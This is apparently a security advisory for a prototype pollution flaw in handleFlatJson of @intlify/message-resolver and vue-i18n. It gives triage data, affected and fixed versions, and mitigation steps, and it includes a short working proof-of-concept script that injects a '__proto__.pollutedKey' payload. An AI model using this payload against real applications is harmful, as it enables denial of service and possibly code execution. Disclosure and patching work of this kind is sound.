Vue I18n Allows Prototype Pollution in `handleFlatJson`GHSA-p2ph-7g93-hw3m
Fix: intlify/vue-i18n@4bb6eacGHSA-p2ph-7g93-hw3m is a CWE-1321 vulnerability in @intlify/message-resolver. A fix is available for @intlify/message-resolver — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p2ph-7g93-hw3m.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@intlify/message-resolvernpm@intlify/vue-i18n-corenpmpetite-vue-i18nnpmDescription
Vulnerability type: Prototype Pollution
Vulnerability Location(s):
# v9.1
node_modules/@intlify/message-resolver/index.js
# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js
Description:
The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.js
(async () => {
const lib = await import('@intlify/message-resolver');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @intlify/message-resolver | ≥ 9.1.0&&< 9.1.11 | 9.1.11npm install @intlify/message-resolver@9.1.11 |
| 📦npm | @intlify/vue-i18n-core | ≥ 9.2.0&&< 9.14.3 | 9.14.3npm install @intlify/vue-i18n-core@9.14.3 |
| 📦npm | petite-vue-i18n | ≥ 10.0.0&&< 10.0.6 | 10.0.6npm install petite-vue-i18n@10.0.6 |
| 📦npm | vue-i18n | ≥ 9.1.0&&< 9.14.3 | 9.14.3npm install vue-i18n@9.14.3 |
| 📦npm | @intlify/core-base | ≥ 9.1.0&&< 9.1.11 | 9.1.11npm install @intlify/core-base@9.1.11 |
| 📦npm | @intlify/core | ≥ 9.1.0&&< 9.1.11 | 9.1.11npm install @intlify/core@9.1.11 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @intlify/message-resolver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @intlify/message-resolver to 9.1.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p2ph-7g93-hw3m is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-p2ph-7g93-hw3m in your dependencies?
Find it across npm, including transitive dependencies.